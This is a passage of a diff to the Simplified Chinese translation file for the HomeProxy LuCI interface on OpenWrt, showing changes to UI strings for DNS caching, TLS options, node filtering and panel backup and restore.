htdocs/luci-static/resources/view/homeproxy/node.js:523 +#: htdocs/luci-static/resources/view/homeproxy/client.js:387 +#: htdocs/luci-static/resources/view/homeproxy/client.js:489 +#: htdocs/luci-static/resources/view/homeproxy/client.js:707 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1056 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1405 +#: htdocs/luci-static/resources/view/homeproxy/node.js:858 msgid "Direct" msgstr "直连" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1726 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1537 msgid "Direct Domain List" msgstr "直连域名列表" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1640 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1685 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1451 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1496 msgid "Direct IPv4 IP-s" msgstr "直连 IPv4 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1643 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1688 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1454 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1499 msgid "Direct IPv6 IP-s" msgstr "直连 IPv6 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1646 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1457 msgid "Direct MAC-s" msgstr "直连 MAC 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:163 -#: htdocs/luci-static/resources/view/homeproxy/client.js:191 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1634 -#: htdocs/luci-static/resources/view/homeproxy/node.js:615 -#: htdocs/luci-static/resources/view/homeproxy/node.js:671 -#: htdocs/luci-static/resources/view/homeproxy/node.js:684 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1295 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1602 +#: htdocs/luci-static/resources/view/homeproxy/client.js:148 +#: htdocs/luci-static/resources/view/homeproxy/client.js:176 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1445 +#: htdocs/luci-static/resources/view/homeproxy/node.js:929 +#: htdocs/luci-static/resources/view/homeproxy/node.js:985 +#: htdocs/luci-static/resources/view/homeproxy/node.js:998 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1545 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1808 #: htdocs/luci-static/resources/view/homeproxy/server.js:276 #: htdocs/luci-static/resources/view/homeproxy/server.js:289 msgid "Disable" msgstr "禁用" -#: htdocs/luci-static/resources/view/homeproxy/client.js:403 +#: htdocs/luci-static/resources/view/homeproxy/client.js:386 msgid "Disable (the service)" msgstr "禁用(服务)" -#: htdocs/luci-static/resources/view/homeproxy/client.js:997 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1109 +#: htdocs/luci-static/resources/view/homeproxy/client.js:810 +#: htdocs/luci-static/resources/view/homeproxy/client.js:922 msgid "Disable DNS cache" msgstr "禁用 DNS 缓存" -#: htdocs/luci-static/resources/view/homeproxy/client.js:998 +#: htdocs/luci-static/resources/view/homeproxy/client.js:811 msgid "Disable DNS cache in this query." msgstr "在本次查询中禁用 DNS 缓存。" +msgid "Disable DNS memory cache" +msgstr "禁用 DNS 内存缓存" + +msgid "Disable DNS memory cache in this query." +msgstr "在本次查询中禁用 DNS 内存缓存。" + +msgid "Disable DNS memory cache expiration" +msgstr "禁用 DNS 内存缓存过期" + +msgid "Independent DNS memory cache per server" +msgstr "每个 DNS 服务器独立内存缓存" + +msgid "Make each DNS server's memory cache independent for special purposes. If enabled, will slightly degrade performance." +msgstr "让每个 DNS 服务器使用独立内存缓存。启用后性能会略微下降。" + #: htdocs/luci-static/resources/view/homeproxy/server.js:670 msgid "Disable HTTP challenge" msgstr "禁用 HTTP 验证" -#: htdocs/luci-static/resources/view/homeproxy/node.js:721 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1035 #: htdocs/luci-static/resources/view/homeproxy/server.js:321 msgid "Disable Path MTU discovery" msgstr "禁用路径 MTU 探测" @@ -638,23 +620,26 @@ msgstr "禁用路径 MTU 探测" msgid "Disable TLS ALPN challenge" msgstr "禁用 TLS ALPN 认证" -#: htdocs/luci-static/resources/view/homeproxy/client.js:920 +#: htdocs/luci-static/resources/view/homeproxy/client.js:733 msgid "Disable UDP domain unmapping" msgstr "禁用 UDP 域名映射" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1393 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1205 msgid "Disable cache and save cache in this query." msgstr "在本次查询中禁用缓存。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1111 +msgid "Disable DNS memory cache and persistent cache in this query." +msgstr "在本次查询中禁用 DNS 内存缓存和持久化缓存。" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:924 msgid "Disable cache expire" msgstr "缓存永不过期" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1392 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1204 msgid "Disable dns cache" msgstr "禁用 DNS 缓存" -#: htdocs/luci-static/resources/view/homeproxy/node.js:722 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1036 #: htdocs/luci-static/resources/view/homeproxy/server.js:322 msgid "" "Disables Path MTU Discovery (RFC 8899). Packets will then be at most 1252 " @@ -663,37 +648,37 @@ msgstr "" "禁用路径 MTU 发现 (RFC 8899)。 数据包的大小最多为 1252 (IPv4) / 1232 (IPv6) " "字节。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1024 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1462 +#: htdocs/luci-static/resources/view/homeproxy/client.js:837 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1274 msgid "Domain keyword" msgstr "域名关键词" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1015 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1453 +#: htdocs/luci-static/resources/view/homeproxy/client.js:828 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1265 msgid "Domain name" msgstr "域名" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1028 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1466 +#: htdocs/luci-static/resources/view/homeproxy/client.js:841 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1278 msgid "Domain regex" msgstr "域名正则表达式" -#: htdocs/luci-static/resources/view/homeproxy/client.js:468 +#: htdocs/luci-static/resources/view/homeproxy/client.js:450 msgid "Domain resolver" msgstr "域名解析器" -#: htdocs/luci-static/resources/view/homeproxy/client.js:387 -#: htdocs/luci-static/resources/view/homeproxy/client.js:487 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1385 +#: htdocs/luci-static/resources/view/homeproxy/client.js:370 +#: htdocs/luci-static/resources/view/homeproxy/client.js:469 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1197 msgid "Domain strategy" msgstr "域名解析策略" -#: htdocs/luci-static/resources/view/homeproxy/client.js:991 +#: htdocs/luci-static/resources/view/homeproxy/client.js:804 msgid "Domain strategy for resolving the domain names." msgstr "目标域名的解析策略。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1020 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1458 +#: htdocs/luci-static/resources/view/homeproxy/client.js:833 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1270 msgid "Domain suffix" msgstr "域名后缀" @@ -701,51 +686,35 @@ msgstr "域名后缀" msgid "Domains" msgstr "域名" -#: htdocs/luci-static/resources/view/homeproxy/client.js:984 +#: htdocs/luci-static/resources/view/homeproxy/client.js:797 msgid "Don't drop packets" msgstr "不丢弃数据包" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1420 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1232 msgid "Don't drop requests" msgstr "不丢弃请求" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:187 -msgid "" -"Download a tar.gz backup containing /etc/config/homeproxy, custom direct/" -"proxy lists, and uploaded certificates and private keys. The backup contains " -"plaintext private keys; keep it safe and avoid transmitting or storing it " -"through untrusted channels. Restore only verifies file integrity (SHA-256 " -"manifest), not source authenticity." -msgstr "" -"下载包含 /etc/config/homeproxy、自定义直连/代理列表,以及已上传证书和私钥的 " -"tar.gz 备份文件。备份内含明文私钥,请妥善保管,避免在不可信渠道传输或存储;恢" -"复时仅校验文件完整性(SHA-256 清单),不验证来源真实性。" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:189 -msgid "Download backup" -msgstr "下载备份" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1169 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1419 #: htdocs/luci-static/resources/view/homeproxy/server.js:517 msgid "Download bandwidth" msgstr "下载带宽" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1170 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1420 #: htdocs/luci-static/resources/view/homeproxy/server.js:518 msgid "Download bandwidth in Mbps." msgstr "下载带宽(单位:Mbps)。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:980 -#: htdocs/luci-static/resources/view/homeproxy/client.js:986 +#: htdocs/luci-static/resources/view/homeproxy/client.js:793 +#: htdocs/luci-static/resources/view/homeproxy/client.js:799 msgid "Drop packets" msgstr "丢弃数据包" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1415 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1422 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1227 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1234 msgid "Drop requests" msgstr "丢弃请求" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1609 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1815 msgid "" "Drop/keep nodes that contain the specific keywords. " "正则表达式。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1601 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1807 msgid "Drop/keep specific nodes from subscriptions." msgstr "从订阅中 丢弃/保留 指定节点" @@ -770,7 +739,7 @@ msgstr "" "
外部帐户绑定“用于将 ACME 帐户与非 ACME 系统中的现有帐户相关联,例如 CA " "客户数据库。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1274 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1524 msgid "" "ECH (Encrypted Client Hello) is a TLS extension that allows a client to " "encrypt the first part of its ClientHello message." @@ -778,12 +747,12 @@ msgstr "" "ECH(Encrypted Client Hello)是一个 TLS 扩展,它允许客户端加密其 ClientHello " "信息的第一部分。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1289 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1539 #: htdocs/luci-static/resources/view/homeproxy/server.js:835 msgid "ECH config" msgstr "ECH 配置" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1278 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1528 msgid "ECH config path" msgstr "ECH 配置路径" @@ -791,18 +760,18 @@ msgstr "ECH 配置路径" msgid "ECH key" msgstr "ECH 密钥" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1008 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1118 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1405 +#: htdocs/luci-static/resources/view/homeproxy/client.js:821 +#: htdocs/luci-static/resources/view/homeproxy/client.js:931 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1217 msgid "EDNS Client subnet" -msgstr "EDNS 客户端子网" +msgstr "ENDS 客户端子网" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1053 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1303 #: htdocs/luci-static/resources/view/homeproxy/server.js:481 msgid "Early data" msgstr "前置数据" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1060 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1310 #: htdocs/luci-static/resources/view/homeproxy/server.js:488 msgid "Early data header name" msgstr "前置数据标头" @@ -811,37 +780,25 @@ msgstr "前置数据标头" msgid "Early data is sent in path instead of header by default." msgstr "前置数据默认发送在路径而不是标头中。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1435 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1644 msgid "Edit nodes" msgstr "修改节点" -#: htdocs/luci-static/resources/view/homeproxy/client.js:632 -msgid "Effective nodes" -msgstr "生效节点" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:583 -msgid "" -"Effective nodes are recalculated automatically after saving and applying " -"manual node changes, or after manual/scheduled subscription updates finish." -msgstr "" -"手动增删改节点后保存并应用,或订阅手动/定时更新完成后,会自动重新计算生效节" -"点。" - #: htdocs/luci-static/resources/view/homeproxy/server.js:612 msgid "Email" msgstr "Email" -#: htdocs/luci-static/resources/view/homeproxy/client.js:454 -#: htdocs/luci-static/resources/view/homeproxy/client.js:802 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1152 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1281 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1540 +#: htdocs/luci-static/resources/view/homeproxy/client.js:437 +#: htdocs/luci-static/resources/view/homeproxy/client.js:613 +#: htdocs/luci-static/resources/view/homeproxy/client.js:965 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1093 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1352 #: htdocs/luci-static/resources/view/homeproxy/server.js:148 #: htdocs/luci-static/resources/view/homeproxy/server.js:166 msgid "Enable" msgstr "启用" -#: htdocs/luci-static/resources/view/homeproxy/node.js:902 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1152 #: htdocs/luci-static/resources/view/homeproxy/server.js:371 msgid "" "Enable 0-RTT QUIC connection handshake on the client side. This is not " @@ -851,7 +808,7 @@ msgstr "" "在客户端启用 0-RTT QUIC 连接握手。由于协议是完全复用的,这对性能影响不大。" "
强烈建议禁用此功能,因为它容易受到重放攻击。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:901 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1151 #: htdocs/luci-static/resources/view/homeproxy/server.js:370 msgid "Enable 0-RTT handshake" msgstr "启用 0-RTT 握手" @@ -860,34 +817,30 @@ msgstr "启用 0-RTT 握手" msgid "Enable ACME" msgstr "启用 ACME" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1273 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1523 msgid "Enable ECH" msgstr "启用 ECH" -#: htdocs/luci-static/resources/view/homeproxy/node.js:758 -msgid "Enable ShadowTLS" -msgstr "启用 ShadowTLS" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1164 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1414 #: htdocs/luci-static/resources/view/homeproxy/server.js:512 msgid "Enable TCP Brutal" msgstr "启用 TCP Brutal" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1165 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1415 #: htdocs/luci-static/resources/view/homeproxy/server.js:513 msgid "Enable TCP Brutal congestion control algorithm" msgstr "启用 TCP Brutal 拥塞控制算法。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1348 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1598 #: htdocs/luci-static/resources/view/homeproxy/server.js:855 msgid "Enable UDP fragmentation." msgstr "启用 UDP 分片。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:368 +#: htdocs/luci-static/resources/view/homeproxy/client.js:351 msgid "Enable endpoint-independent NAT" msgstr "启用端点独立 NAT" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1160 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1410 #: htdocs/luci-static/resources/view/homeproxy/server.js:507 msgid "Enable padding" msgstr "启用填充" @@ -896,74 +849,56 @@ msgstr "启用填充" msgid "Enable tcp fast open for listener." msgstr "为监听器启用 TCP 快速打开。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1352 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1602 msgid "" "Enable the SUoT protocol, requires server support. Conflict with multiplex." msgstr "启用 SUoT 协议,需要服务端支持。与多路复用冲突。" -#: htdocs/luci-static/resources/view/homeproxy/node.js:728 -#: htdocs/luci-static/resources/view/homeproxy/node.js:928 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1042 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1178 #: htdocs/luci-static/resources/view/homeproxy/server.js:338 msgid "Encrypt method" msgstr "加密方式" +#: htdocs/luci-static/resources/view/homeproxy/node.js:488 #: htdocs/luci-static/resources/view/homeproxy/status.js:139 msgid "Error" msgstr "错误" -#: htdocs/luci-static/resources/view/homeproxy/client.js:608 -msgid "" -"Exclude proxy nodes whose labels match this regex from the final effective " -"node set, including manually selected nodes. Leave empty to exclude nothing. " -"To exclude from all nodes, set the Node regex above to .*" -msgstr "" -"从最终生效节点中排除标签命中此正则的节点,包括手动选择的节点;留空则不排除。" -"若要对全部节点排除,请将上方节点正则填为 .*" - -#: htdocs/luci-static/resources/homeproxy.js:278 -#: htdocs/luci-static/resources/homeproxy.js:312 -#: htdocs/luci-static/resources/homeproxy.js:320 -#: htdocs/luci-static/resources/homeproxy.js:338 -#: htdocs/luci-static/resources/homeproxy.js:347 -#: htdocs/luci-static/resources/homeproxy.js:358 -#: htdocs/luci-static/resources/homeproxy.js:367 -#: htdocs/luci-static/resources/homeproxy.js:369 -#: htdocs/luci-static/resources/homeproxy/node-filter.js:59 +#: htdocs/luci-static/resources/homeproxy.js:237 +#: htdocs/luci-static/resources/homeproxy.js:271 +#: htdocs/luci-static/resources/homeproxy.js:279 +#: htdocs/luci-static/resources/homeproxy.js:297 +#: htdocs/luci-static/resources/homeproxy.js:306 +#: htdocs/luci-static/resources/homeproxy.js:317 +#: htdocs/luci-static/resources/homeproxy.js:326 +#: htdocs/luci-static/resources/homeproxy.js:328 +#: htdocs/luci-static/resources/view/homeproxy/client.js:219 +#: htdocs/luci-static/resources/view/homeproxy/client.js:231 #: htdocs/luci-static/resources/view/homeproxy/client.js:235 -#: htdocs/luci-static/resources/view/homeproxy/client.js:247 -#: htdocs/luci-static/resources/view/homeproxy/client.js:251 -#: htdocs/luci-static/resources/view/homeproxy/client.js:270 -#: htdocs/luci-static/resources/view/homeproxy/client.js:281 -#: htdocs/luci-static/resources/view/homeproxy/client.js:285 -#: htdocs/luci-static/resources/view/homeproxy/client.js:314 -#: htdocs/luci-static/resources/view/homeproxy/client.js:548 -#: htdocs/luci-static/resources/view/homeproxy/client.js:569 -#: htdocs/luci-static/resources/view/homeproxy/client.js:591 -#: htdocs/luci-static/resources/view/homeproxy/client.js:616 -#: htdocs/luci-static/resources/view/homeproxy/client.js:730 -#: htdocs/luci-static/resources/view/homeproxy/client.js:733 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1568 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1573 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1576 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1719 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1751 -#: htdocs/luci-static/resources/view/homeproxy/node.js:604 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1311 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1535 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1590 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1593 +#: htdocs/luci-static/resources/view/homeproxy/client.js:253 +#: htdocs/luci-static/resources/view/homeproxy/client.js:264 +#: htdocs/luci-static/resources/view/homeproxy/client.js:268 +#: htdocs/luci-static/resources/view/homeproxy/client.js:297 +#: htdocs/luci-static/resources/view/homeproxy/client.js:527 +#: htdocs/luci-static/resources/view/homeproxy/client.js:541 +#: htdocs/luci-static/resources/view/homeproxy/client.js:544 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1380 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1385 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1388 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1530 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1562 +#: htdocs/luci-static/resources/view/homeproxy/node.js:918 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1561 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1735 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1796 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1799 #: htdocs/luci-static/resources/view/homeproxy/server.js:235 #: htdocs/luci-static/resources/view/homeproxy/server.js:618 #: htdocs/luci-static/resources/view/homeproxy/server.js:620 msgid "Expecting: %s" msgstr "请输入:%s" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:182 -msgid "" -"Export and import HomeProxy source configuration to fully restore WebUI " -"settings after reinstallation." -msgstr "导出和导入 HomeProxy 源配置,用于重装后完整恢复 WebUI 设置。" - #: htdocs/luci-static/resources/view/homeproxy/server.js:690 msgid "External Account Binding" msgstr "外部账户绑定" @@ -976,53 +911,65 @@ msgstr "外部账户 MAC 密钥" msgid "External account key ID" msgstr "外部账户密钥标识符" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1448 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1260 msgid "Extra records" msgstr "附加记录" -#: htdocs/luci-static/resources/homeproxy/tcping.js:220 -msgid "Failed" -msgstr "失败" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:74 -#: htdocs/luci-static/resources/view/homeproxy/node.js:90 -msgid "Failed to check node references. Please try again later." -msgstr "无法检查节点引用,请稍后重试。" - #: htdocs/luci-static/resources/view/homeproxy/server.js:86 msgid "Failed to generate %s, error: %s." msgstr "生成 %s 失败,错误:%s。" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:87 -msgid "Failed to generate backup file." -msgstr "生成备份文件失败。" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:116 -msgid "Failed to get upload path" -msgstr "无法获取上传路径" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:101 -#: htdocs/luci-static/resources/view/homeproxy/node.js:104 -msgid "Failed to read subscription update status." -msgstr "无法读取订阅更新状态。" - -#: htdocs/luci-static/resources/homeproxy.js:302 +#: htdocs/luci-static/resources/homeproxy.js:261 msgid "Failed to upload %s, error: %s." msgstr "上传 %s 失败,错误:%s。" +#: htdocs/luci-static/resources/homeproxy.js +msgid "panel ZIP package" +msgstr "面版ZIP压缩包" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "unknown error" +msgstr "未知错误" + +#: htdocs/luci-static/resources/homeproxy.js +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Backup panel failed." +msgstr "备份面版失败。" + +#: htdocs/luci-static/resources/homeproxy.js +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Restore panel failed." +msgstr "恢复面版失败。" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "Panel ZIP file is empty." +msgstr "面版 ZIP 文件为空。" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "The unzip command is unavailable." +msgstr "unzip 命令不可用。" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "Invalid panel ZIP file." +msgstr "面版 ZIP 文件无效。" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "Install panel failed." +msgstr "安装面版失败。" + #: htdocs/luci-static/resources/view/homeproxy/status.js:140 msgid "Fatal" msgstr "致命" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1608 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1814 msgid "Filter keywords" msgstr "过滤关键词" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1600 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1806 msgid "Filter nodes" msgstr "过滤节点" -#: htdocs/luci-static/resources/view/homeproxy/client.js:842 +#: htdocs/luci-static/resources/view/homeproxy/client.js:653 msgid "Firefox / uquic firefox" msgstr "Firefox / uquic firefox" @@ -1030,33 +977,33 @@ msgstr "Firefox / uquic firefox" msgid "Firewall" msgstr "防火墙" -#: htdocs/luci-static/resources/view/homeproxy/node.js:916 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1166 #: htdocs/luci-static/resources/view/homeproxy/server.js:385 msgid "Flow" msgstr "流控" -#: htdocs/luci-static/resources/view/homeproxy/client.js:469 +#: htdocs/luci-static/resources/view/homeproxy/client.js:451 msgid "For resolving domain name in the server address." msgstr "用于解析服务器地址中的域名。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1551 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1363 msgid "Format" msgstr "格式" -#: htdocs/luci-static/resources/view/homeproxy/client.js:940 +#: htdocs/luci-static/resources/view/homeproxy/client.js:753 msgid "Fragment TLS handshake into multiple TLS records." msgstr "将 TLS 握手分片为多个 TLS 记录" -#: htdocs/luci-static/resources/view/homeproxy/client.js:946 +#: htdocs/luci-static/resources/view/homeproxy/client.js:759 msgid "" "Fragment TLS handshakes. Due to poor performance, try %s first." msgstr "分片 TLS 握手。由于性能较差,请先尝试 %s。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:952 +#: htdocs/luci-static/resources/view/homeproxy/client.js:765 msgid "Fragment fallback delay" msgstr "分片回退延迟" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1022 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1272 msgid "GET" msgstr "GET" @@ -1064,19 +1011,19 @@ msgstr "GET" msgid "GFW list version" msgstr "GFW 域名列表版本" -#: htdocs/luci-static/resources/view/homeproxy/client.js:292 +#: htdocs/luci-static/resources/view/homeproxy/client.js:275 msgid "GFWList" msgstr "GFWList" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1658 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1469 msgid "Gaming mode IPv4 IP-s" msgstr "游戏模式 IPv4 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1660 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1471 msgid "Gaming mode IPv6 IP-s" msgstr "游戏模式 IPv6 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1663 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1474 msgid "Gaming mode MAC-s" msgstr "游戏模式 MAC 地址" @@ -1086,36 +1033,27 @@ msgstr "游戏模式 MAC 地址" msgid "Generate" msgstr "生成" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:104 -#: htdocs/luci-static/resources/view/homeproxy/backup.js:195 -msgid "Generate backup file" -msgstr "生成备份文件" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:83 -msgid "Generating backup file..." -msgstr "正在生成备份文件..." - #: htdocs/luci-static/resources/view/homeproxy/status.js:260 msgid "GitHub token" msgstr "GitHub 令牌" -#: htdocs/luci-static/resources/view/homeproxy/client.js:296 +#: htdocs/luci-static/resources/view/homeproxy/client.js:279 msgid "Global" msgstr "全局" -#: htdocs/luci-static/resources/view/homeproxy/node.js:939 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1189 msgid "Global padding" msgstr "全局填充" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1665 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1476 msgid "Global proxy IPv4 IP-s" msgstr "全局代理 IPv4 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1668 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1479 msgid "Global proxy IPv6 IP-s" msgstr "全局代理 IPv6 地址" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1671 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1482 msgid "Global proxy MAC-s" msgstr "全局代理 MAC 地址" @@ -1127,24 +1065,24 @@ msgstr "全局设置" msgid "Google" msgstr "谷歌" -#: htdocs/luci-static/resources/view/homeproxy/client.js:224 -msgid "Google Public DNS (8.8.8.8)" -msgstr "谷歌公共 DNS(8.8.8.8)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:208 +msgid "Google Public DNS (DoH)" +msgstr "Google 公共DNS (DoH)" #: root/usr/share/rpcd/acl.d/luci-app-homeproxy.json:3 msgid "Grant access to homeproxy configuration" msgstr "授予 homeproxy 访问 UCI 配置的权限" -#: htdocs/luci-static/resources/view/homeproxy/client.js:832 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1319 -#: htdocs/luci-static/resources/view/homeproxy/node.js:525 -#: htdocs/luci-static/resources/view/homeproxy/node.js:957 +#: htdocs/luci-static/resources/view/homeproxy/client.js:643 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1131 +#: htdocs/luci-static/resources/view/homeproxy/node.js:860 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1207 #: htdocs/luci-static/resources/view/homeproxy/server.js:177 #: htdocs/luci-static/resources/view/homeproxy/server.js:403 msgid "HTTP" msgstr "HTTP" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1162 +#: htdocs/luci-static/resources/view/homeproxy/client.js:975 msgid "HTTP/3" msgstr "HTTP/3" @@ -1154,11 +1092,11 @@ msgid "" "returned if empty." msgstr "身份验证失败时的 HTTP3 服务器响应。默认返回 404 页面。" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1161 +#: htdocs/luci-static/resources/view/homeproxy/client.js:974 msgid "HTTPS" msgstr "HTTPS" -#: htdocs/luci-static/resources/view/homeproxy/node.js:958 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1208 #: htdocs/luci-static/resources/view/homeproxy/server.js:404 msgid "HTTPUpgrade" msgstr "HTTPUpgrade" @@ -1171,18 +1109,18 @@ msgstr "握手服务器地址" msgid "Handshake server port" msgstr "握手服务器端口" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1184 +#: htdocs/luci-static/resources/view/homeproxy/client.js:997 msgid "Headers" msgstr "标头" -#: htdocs/luci-static/resources/view/homeproxy/node.js:907 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1157 #: 